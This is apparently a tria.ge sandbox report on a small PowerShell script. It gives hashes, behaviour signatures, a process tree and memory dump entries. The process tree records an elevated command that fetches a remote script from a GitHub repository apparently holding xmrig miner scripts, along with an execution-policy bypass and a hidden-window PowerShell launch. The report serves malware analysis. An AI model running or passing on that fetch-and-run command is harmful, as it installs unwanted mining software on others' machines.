Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

29/06/2024, 17:27

240629-v1l2zsvfkj 8

29/06/2024, 17:25

240629-vzearaveqr 3

Analysis

  • max time kernel
    42s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    29/06/2024, 17:27

General

  • Target

    file01.ps1

  • Size

    106B

  • MD5

    79f8239b5db8e5fa66798224a02cc687

  • SHA1

    6eddc1b53c5da52883bce104e34bcb353ca1eb82

  • SHA256

    58778391d7e78f26ead35877ea9d65b960f7b846db2f2e814e1f1b2e8f47ecbd

  • SHA512

    c932b046702cba6db8c57e52b480c7adc9d35876647655a6518844d0010007e524c6c205e1b886d74f1888d9727043f515804eee3f154989c02b17d6ec3bd764

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1
      2⤵
      • Access Token Manipulation: Create Process with Token
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2600
  • C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden wininit
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2980
      • C:\Windows\system32\wininit.exe
        "C:\Windows\system32\wininit.exe"
        3⤵
          PID:1952

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      3d1af1a37d3108b8635f540975a29831

      SHA1

      32aed8eb849c497798ba19905466ea1d7f155519

      SHA256

      137d2d46232f7775e8a6e6811908a26ef0dc83d20b1c45b4e0a443bb401448cd

      SHA512

      e2b17d2d2c08004f337e31ac8d4ba2e4f95e0eb101e0548b744fdf765edeb946d56d9d459cc6753313e9433a81d9b769162543ba16d4ed6e93811c6347856f97

    • memory/2600-16-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

      Filesize

      9.6MB

    • memory/2600-15-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

      Filesize

      9.6MB

    • memory/2980-24-0x000000001B610000-0x000000001B8F2000-memory.dmp

      Filesize

      2.9MB

    • memory/2980-25-0x0000000001E10000-0x0000000001E18000-memory.dmp

      Filesize

      32KB

    • memory/3020-7-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

      Filesize

      9.6MB

    • memory/3020-9-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

      Filesize

      9.6MB

    • memory/3020-8-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

      Filesize

      9.6MB

    • memory/3020-17-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

      Filesize

      9.6MB

    • memory/3020-4-0x000007FEF629E000-0x000007FEF629F000-memory.dmp

      Filesize

      4KB

    • memory/3020-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

      Filesize

      32KB

    • memory/3020-5-0x000000001B580000-0x000000001B862000-memory.dmp

      Filesize

      2.9MB